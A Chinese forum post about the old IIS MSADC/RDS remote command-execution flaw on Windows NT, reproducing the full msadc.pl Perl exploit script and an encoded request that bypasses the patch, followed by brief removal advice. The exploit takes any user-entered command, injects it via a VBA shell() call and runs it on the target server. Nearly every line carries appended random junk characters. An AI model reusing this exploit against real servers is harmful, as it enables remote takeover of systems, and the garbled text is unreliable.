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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) `p0+j  
+ExXhT  
涉及程序: }QrBN:a$(  
Microsoft NT server ~IrrX,mp:  
L@xag-b i  
描述: -]HPDN,OB  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 j:ze5FA+  
s~(!m. R  
详细:  ntK#7(U'  
如果你没有时间读详细内容的话,就删除: 0wL-Ak#v  
c:\Program Files\Common Files\System\Msadc\msadcs.dll .;nU" a3'  
有关的安全问题就没有了。 I.#V/{J  
Jse;@K5y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 CEbZj z|  
wtlIyE  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ;n1< 1M>!  
关于利用ODBC远程漏洞的描述,请参看: ]'+PJdA  
$3.hZx>  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm c%,@O&o  
' e @`HG  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 kYMKVR  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp H5wzzSV!:B  
9HJrMX  
这里不再论述。 ?5@!r>i=<  
euO!vLdX  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: B. '&[A  
"*E06=fiG  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset YhQ;>Ko  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! =SMI,p&  
-CePtq`  
W:s`;8iM$  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ++{,1wY\  
wNQhz.>y  
#!perl sv}k_6XgY  
# 6jS:_[p  
# MSADC/RDS 'usage' (aka exploit) script #Xdj:T<*  
# A6-K~z^  
# by rain.forest.puppy  M18<d1*  
# bp"@vlv  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me pHO,][VZ  
# beta test and find errors! m][i-|@M  
o!bIaeEaU  
use Socket; use Getopt::Std; _4~'K?  
getopts("e:vd:h:XR", \%args); Js{X33^Ju  
KYe@2 6   
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ^xz*%2@  
O>FE-0rW}e  
if (!defined $args{h} && !defined $args{R}) { S: b-+w|*  
print qq~ ]dvNUD   
Usage: msadc.pl -h <host> { -d <delay> -X -v } m[l[yUw#  
-h <host> = host you want to scan (ip or domain) 8nKZ   
-d <seconds> = delay between calls, default 1 second /<"<N<X  
-X = dump Index Server path table, if available  Y7q=]  
-v = verbose B}O M:0  
-e = external dictionary file for step 5 _6O\*|'6  
`Ckx~'1M:  
Or a -R will resume a command session G%Dhj)2}  
W.67};',  
~; exit;} {c|{okQ;Q  
'#Yqs/V  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; O:G5n 5J  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} p0r:U< &  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} p1}m_  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ]|6)'L&]*s  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} b"JJ3$D  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } uu5L9.i9  
Xu[(hT6  
if (!defined $args{R}){ $ret = &has_msadc; qhE1 7Hf  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 8 16OV  
ph5rS<  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" coG_bX?e  
. "cmd /c "; w6cW7}ZD,  
$in=<STDIN>; chomp $in; 9?xD"Z   
$command="cmd /c " . $in ; E$8 D^Zt  
]?1n-w.}r  
if (defined $args{R}) {&load; exit;} L+GVB[@3Y  
PP1?UT=]  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; cUB+fH<B2  
&try_btcustmr; >^odV ;^  
=uG}pgh0  
print "\nStep 2: Trying to make our own DSN..."; 0 UbY0sYo  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; p]lZ4#3  
!=/wpsH  
print "\nStep 3: Trying known DSNs..."; ;kE|Vx  
&known_dsn; Y<vHL<G  
cM|!jnKm  
print "\nStep 4: Trying known .mdbs..."; Tl/!Dn  
&known_mdb; 8k.<xWDU  
I=;.o>  
if (defined $args{e}){ #?^%#"~4H  
print "\nStep 5: Trying dictionary of DSN names..."; 8*$HS.Db'  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } gL/D| =  
v-utDQT3  
print "Sorry Charley...maybe next time?\n"; D# Gf.c  
exit; F4R0A6HL  
"kdmqvTHK0  
############################################################################## O5v)}4  
X`s6lV%\  
sub sendraw { # ripped and modded from whisker ,SZYZ 25  
sleep($delay); # it's a DoS on the server! At least on mine... 6\BZyry3*  
my ($pstr)=@_; ?D?l dg  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || (H[ .\O-`  
die("Socket problems\n"); /%F}vW(!  
if(connect(S,pack "SnA4x8",2,80,$target)){ p)k5Uh"  
select(S); $|=1; 9-`P\/  
print $pstr; my @in=<S>; e'y$X;nIv  
select(STDOUT); close(S); *mVQN1  
return @in; s^vw]D  
} else { die("Can't connect...\n"); }} y' r I1eF  
4S 7#B  
############################################################################## S A\_U::T  
q RbU@o.3  
sub make_header { # make the HTTP request 4DTT/ER'qA  
my $msadc=<<EOT  WBd$#V3  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 uH.1'bR?a  
User-Agent: ACTIVEDATA ?LAiSg=eq  
Host: $ip 6o cTQ}=  
Content-Length: $clen #`5>XfbmQ(  
Connection: Keep-Alive HB0DG<c-  
Hl*V i3bQU  
ADCClientVersion:01.06 o"19{ D^.  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 :T9 P9<  
`P4 3O gA  
--!ADM!ROX!YOUR!WORLD! />0 Bm`A  
Content-Type: application/x-varg >U9JbkeF  
Content-Length: $reqlen "?n;dXYSi  
!8@8  
EOT g)**)mz[  
; $msadc=~s/\n/\r\n/g; n~mP7X%wE7  
return $msadc;} W>'KE:!sp  
K @h9 4Ni6  
############################################################################## .`TDpi9OB  
esk~\!d  
sub make_req { # make the RDS request yBYZ?gc  
my ($switch, $p1, $p2)=@_; PHh4ZFl]_I  
my $req=""; my $t1, $t2, $query, $dsn; bQ`|G(g-d  
o+% ($p  
if ($switch==1){ # this is the btcustmr.mdb query tVr^1Y  
$query="Select * from Customers where City=" . make_shell(); XlaGR2-%  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . k )=Gyv<  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} wpK[;  
i%3q*:A]2  
elsif ($switch==2){ # this is general make table query q}r{%ypf  
$query="create table AZZ (B int, C varchar(10))"; e9p!Caf~I-  
$dsn="$p1";} Wi"3kps q  
I*`;1+`  
elsif ($switch==3){ # this is general exploit table query %c-T Gr,  
$query="select * from AZZ where C=" . make_shell(); `#c36  
$dsn="$p1";} t^|GcU]  
.:(T}\]R  
elsif ($switch==4){ # attempt to hork file info from index server PZYVLUw `  
$query="select path from scope()"; i$jzn ga  
$dsn="Provider=MSIDXS;";} 'S'Z-7h>0  
9.^2CM6l  
elsif ($switch==5){ # bad query QTmMj@R&(  
$query="select"; /$=<RUE  
$dsn="$p1";} Dwa.ZY}-  
QZ2a1f'G  
$t1= make_unicode($query); 3T)_(SM"  
$t2= make_unicode($dsn); 5STk"  
$req = "\x02\x00\x03\x00"; {9;x\($&a  
$req.= "\x08\x00" . pack ("S1", length($t1)); 8}.V[,]6  
$req.= "\x00\x00" . $t1 ; (/ e[n.T  
$req.= "\x08\x00" . pack ("S1", length($t2)); 4%"Df1 U  
$req.= "\x00\x00" . $t2 ; + :;6kyM6X  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; kVY 0 E  
return $req;} l<8+>W`_  
-Crm#Ib~  
############################################################################## y.,li<  
XQI!G_\+C  
sub make_shell { # this makes the shell() statement &S9O:>=*  
return "'|shell(\"$command\")|'";} ,b,t^xX>)  
Y0;66bfh}  
############################################################################## ZO*?02c  
r3mmi5   
sub make_unicode { # quick little function to convert to unicode l", X  
my ($in)=@_; my $out; 16|miK[@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } iL8:I)z  
return $out;} n h&[e  
Rl[SqmnI)@  
############################################################################## kR]AW60OE  
)tp;2rJ/  
sub rdo_success { # checks for RDO return success (this is kludge) 3\Tqs  
my (@in) = @_; my $base=content_start(@in); {D`_q|  
if($in[$base]=~/multipart\/mixed/){ s#4Q?<65u  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} %j. *YvveW  
return 0;} g..&x]aS(  
qE@H~&  
############################################################################## #``Alh8  
::k cV'*  
sub make_dsn { # this makes a DSN for us y*vg9`$k  
my @drives=("c","d","e","f"); X(qs]:  
print "\nMaking DSN: "; ]\6*2E{1m  
foreach $drive (@drives) { N+CcWs!E  
print "$drive: "; z"$huE>P6  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . [n2)6B\/  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" = 6.i.(L_S  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); WJBwo%J  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; dCO7"/IHW  
return 0 if $2 eq "404"; # not found/doesn't exist ,#8H9<O9t  
if($2 eq "200") { .-?Txkwb  
foreach $line (@results) { kB]?95>Wx  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} `^'0__<M  
} return 0;} 3!Cab/T  
ot; ]?M  
############################################################################## SS7C|*-Zd  
$m[* )0/  
sub verify_exists { UYkuz  
my ($page)=@_; U`kO<ztk  
my @results=sendraw("GET $page HTTP/1.0\n\n"); gI{56Z  
return $results[0];} Sp./*h\}  
"Ax#x  
############################################################################## ofy)}/i  
wY{!gQ  
sub try_btcustmr { w|( ix;pK  
my @drives=("c","d","e","f"); .,&6 x.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); IiZXIG4H  
>d<tcaB  
foreach $dir (@dirs) { <hB~|a<#  
print "$dir -> "; # fun status so you can see progress G`R_kg9$  
foreach $drive (@drives) { UdK+,k~m/  
print "$drive: "; # ditto sHm :G_  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; PmlQW!gfBi  
$reqlenlen=length( "$reqlen" ); JK^pb0ih  
$clen= 206 + $reqlenlen + $reqlen; JTdcL mL  
m?O"LGBB =  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); x%OJ3Qjj=  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} )vy_m_f&  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ?a{>QyL  
=g<Yi2  
############################################################################## %+ur41HM  
O_^ uLp  
sub odbc_error { ^)S<Ha  
my (@in)=@_; my $base; @i=_y+|d_  
my $base = content_start(@in); Je#vu`.\\  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Ie'iAY  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jFG Y`9Zw0  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Z1sRLkR^  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l ^;=0UR_  
return $in[$base+4].$in[$base+5].$in[$base+6];} A}MF>.!}C  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 8 _|"+Ze  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . G^A}T3  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} R~N'5#.*M  
4$Ud4<  
############################################################################## pL`)^BJ  
z2god 1"  
sub verbose { 91:TE8?Z  
my ($in)=@_; )g[7XB/w  
return if !$verbose; yPT\9"/  
print STDOUT "\n$in\n";} 6;p"xC-  
*#c^.4$'  
############################################################################## cW?~]E'<  
Qo])A6$IU  
sub save { '$Fu3%ft  
my ($p1, $p2, $p3, $p4)=@_; :Nl.< 6+  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ,N@N4<C]  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ldNWdz  
close OUT;} ;`rz]7,*  
s p&g  
############################################################################## XE?,)8  
.7r$jmuFs  
sub load { z.0!FUd  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; F?hGt]o  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 2/RW(U  
@p=<IN>; close(IN); zD): yEc  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); \5R>+[n!  
$target= inet_aton($ip) || die("inet_aton problems"); e*hCf5=-  
print "Resuming to $ip ..."; e\WG-zi/  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; *@[N~:z/  
if($p[1]==1) { p0@l581  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; e<-^  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; R~d{Yv  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Vo(V<2lw}  
if (rdo_success(@results)){print "Success!\n";} G:Cgq\+R  
else { print "failed\n"; verbose(odbc_error(@results));}}  !AFii:#  
elsif ($p[1]==3){ EV|L~^Q  
if(run_query("$p[3]")){ kd+tD!:F(  
print "Success!\n";} else { print "failed\n"; }} *}Nh7 >d(  
elsif ($p[1]==4){ mFJb9 ,  
if(run_query($drvst . "$p[3]")){ :B1a2Y^"  
print "Success!\n"; } else { print "failed\n"; }} 7oFA5T _  
exit;} ah|`),o(k  
X:d[eAu0  
############################################################################## P(Z\y^S  
<hzuPi@  
sub create_table { A]AM|2 D  
my ($in)=@_; ^5 ~)m6=2  
$reqlen=length( make_req(2,$in,"") ) - 28; 06fs,!Q@  
$reqlenlen=length( "$reqlen" ); n%I9l]  
$clen= 206 + $reqlenlen + $reqlen; >&l{_b\k  
my @results=sendraw(make_header() . make_req(2,$in,"")); K])| V  
return 1 if rdo_success(@results); X2to](\% X  
my $temp= odbc_error(@results); verbose($temp); ky0,#ZOF  
return 1 if $temp=~/Table 'AZZ' already exists/; *D;VZs0O  
return 0;} \aB"D=P\ok  
6I~{~YvB"  
############################################################################## H <ugc  
k=JT%  
sub known_dsn { F>co#  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go (*dJ   
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", q($fl7}Y  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", eW zyydl  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 4!0nM|~  
bZi;jl  
foreach $dSn (@dsns) { l527>7 eT  
print "."; @d_;p<\l  
next if (!is_access("DSN=$dSn")); qwDoYy yu  
if(create_table("DSN=$dSn")){ 62{[)jt{  
print "$dSn successful\n"; ?%RR+(2m  
if(run_query("DSN=$dSn")){ 4&'_~qU  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Q2K)Nl >_  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 31n|ScXv  
eKek~U&  
############################################################################## }*3#*y "  
a#i%7mfn  
sub is_access { "U%jG`q  
my ($in)=@_; 7T@"2WYat  
$reqlen=length( make_req(5,$in,"") ) - 28; ~AG."<}  
$reqlenlen=length( "$reqlen" ); \|q.M0  
$clen= 206 + $reqlenlen + $reqlen; W5a>6u=g,  
my @results=sendraw(make_header() . make_req(5,$in,"")); TM?7F2  
my $temp= odbc_error(@results); i"U<=~  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); XIJ{qrDr  
return 0;} P'q . _U  
8@'Q=".J  
############################################################################## *'h vYl/?>  
)uIH onXU  
sub run_query { c0W4<(  
my ($in)=@_; 9G=ZB^  
$reqlen=length( make_req(3,$in,"") ) - 28; ky98Bz%  
$reqlenlen=length( "$reqlen" ); NP5;&}uv*!  
$clen= 206 + $reqlenlen + $reqlen; >"z&KZKI  
my @results=sendraw(make_header() . make_req(3,$in,"")); >Gyg`L\  
return 1 if rdo_success(@results); 4E.K6=k|=a  
my $temp= odbc_error(@results); verbose($temp); Il,^/qvIY  
return 0;} C*fSPdg?  
b6~MRfx`7  
############################################################################## |? l6S  
n*U+jc  
sub known_mdb { _I}rQfPJ  
my @drives=("c","d","e","f","g"); >!|(n @  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Hxzdxwz%$  
my $dir, $drive, $mdb; 9dXtugp|  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; a?QDf5C q  
Il9pL~u  
# this is sparse, because I don't know of many F Wzf8*^  
my @sysmdbs=( "\\catroot\\icatalog.mdb", j2"Y{6c  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", b(McH*_8e  
"\\system32\\certmdb.mdb", $>mTPNF  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ewb/ Z[4  
]VS$ ?wD  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", zO07X*Bw  
"\\cfusion\\cfapps\\forums\\forums_.mdb", smt6).o  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", a,U@ !}K  
"\\cfusion\\cfapps\\security\\realm_.mdb", K;_.WzWD=  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Obm@2;^g6  
"\\cfusion\\database\\cfexamples.mdb", ,0R2k `m!  
"\\cfusion\\database\\cfsnippets.mdb",  >o"3:/3  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Ood'kAH1B  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ]kd )j  
"\\cfusion\\brighttiger\\database\\cleam.mdb", OY/sCx+c  
"\\cfusion\\database\\smpolicy.mdb", L?5OWVX!v  
"\\cfusion\\database\cypress.mdb", YOHYXhc{S  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", a>{b'X^LV  
"\\website\\cgi-win\\dbsample.mdb", |.zotEh  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ]Ak@!&hyak  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" -j 6U{l  
); #these are just )!``P?3?  
foreach $drive (@drives) { }uE8o"q  
foreach $dir (@dirs){ Ghgo"-,#  
foreach $mdb (@sysmdbs) { ii :h E=  
print "."; "nK(+Z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ &JpFt^IHi  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; wbaXRvg  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ De*Z UN|<  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; \4.U.pKY  
} else { print "Something's borked. Use verbose next time\n"; }}}}}  T8i9  
ZP& "[_  
foreach $drive (@drives) { "wPFQXU  
foreach $mdb (@mdbs) { "jUr[X2J  
print "."; K$..#]\TM  
if(create_table($drv . $drive . $dir . $mdb)){ vZns,K#4H\  
print "\n" . $drive . $dir . $mdb . " successful\n"; uUczD 8y  
if(run_query($drv . $drive . $dir . $mdb)){ R.EA5X|_  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; )A4WK+yD$z  
} else { print "Something's borked. Use verbose next time\n"; }}}} zaVDe9B,7  
} |ei?s1)  
aQEMCWxZ  
############################################################################## J0U9zI4  
@lP<Mq~]  
sub hork_idx { ReCmv/AE  
print "\nAttempting to dump Index Server tables...\n"; d&p]O  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; EMe6Z!k  
$reqlen=length( make_req(4,"","") ) - 28; g& *pk5V>  
$reqlenlen=length( "$reqlen" ); X]Emz"   
$clen= 206 + $reqlenlen + $reqlen; 3?vasL  
my @results=sendraw2(make_header() . make_req(4,"","")); QJ ueU%|  
if (rdo_success(@results)){ <~}t;ji  
my $max=@results; my $c; my %d; qG/a5i  
for($c=19; $c<$max; $c++){ t/bDDV"  
$results[$c]=~s/\x00//g; ^#R-_I  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; n NI V(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; _ID2yJ   
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; @awaN  
$d{"$1$2"}="";} cf|<~7  
foreach $c (keys %d){ print "$c\n"; } 'wAO Y  
} else {print "Index server doesn't seem to be installed.\n"; }} =$g8"[4   
22|f!la8n  
############################################################################## 9_rNJLj8y  
pQxaT$  
sub dsn_dict { =De%]]>   
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); g]V}azLr  
while(<IN>){ 1@Bq-2OD4  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; dyjzF`H  
next if (!is_access("DSN=$dSn")); W&]grG2/  
if(create_table("DSN=$dSn")){ Z3G>DF:$  
print "$dSn successful\n"; PiZt?r?5w|  
if(run_query("DSN=$dSn")){ hgE!) UE  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1WPDMLuN  
print "Something's borked. Use verbose next time\n";}}} Wx&AY"J  
print "\n"; close(IN);} p1HU2APFP  
!UD62yw~  
############################################################################## 8 F'i5i  
)@3ce'  
sub sendraw2 { # ripped and modded from whisker QJo)  
sleep($delay); # it's a DoS on the server! At least on mine... Xu$xO(  
my ($pstr)=@_; -pj&|< h+9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 2F3IC  
die("Socket problems\n"); d~O\zLQ;  
if(connect(S,pack "SnA4x8",2,80,$target)){ \8=>l?P  
print "Connected. Getting data"; r3/H_Z  
open(OUT,">raw.out"); my @in; v l2!2X  
select(S); $|=1; print $pstr; hFZ7{pj  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} UbJ_'>hK6  
close(OUT); select(STDOUT); close(S); return @in; Gu|}ax"  
} else { die("Can't connect...\n"); }} [$]vi`c2  
d;9 X1`"  
############################################################################## QOEcp% 6I}  
xg/3*rL  
sub content_start { # this will take in the server headers ?W9$=  
my (@in)=@_; my $c; ;->(hFJt  
for ($c=1;$c<500;$c++) { 5sEq`P}5  
if($in[$c] =~/^\x0d\x0a/){  B@A3T8'  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } TNUzNA  
else { return $c+1; }}} GTNN4  
return -1;} # it should never get here actually nv*q N\i'  
QW|,_u5j  
############################################################################## ;a XcGa  
9Rzu0:r.,  
sub funky { &2Q4{i  
my (@in)=@_; my $error=odbc_error(@in); tV9nC   
if($error=~/ADO could not find the specified provider/){ I/<aY*R4  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 55 Y BO$  
exit;} {b"V7vn,  
if($error=~/A Handler is required/){ uYhm Fp  
print "\nServer has custom handler filters (they most likely are patched)\n"; |jk"; h  
exit;} bf-.SX~  
if($error=~/specified Handler has denied Access/){ &o= #P2Qd  
print "\nServer has custom handler filters (they most likely are patched)\n"; - ~T LI&[  
exit;}} %/CCh;N#  
:xm, Ok  
############################################################################## g a? .7F  
>jME == U0  
sub has_msadc { ux& WN ,  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); dG'aJQw  
my $base=content_start(@results); weU'3nNN  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); A|I7R -  
return 0;} T'  %TMA  
|#LU"D  
######################## vtKQvQ  
`-"2(Gp  
"Up3W%]SB  
解决方案: /z>G= kA  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ZC@ 33Q(  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 D kl4 ^}  
7](,/MeGG  
拿出来充数 哈哈
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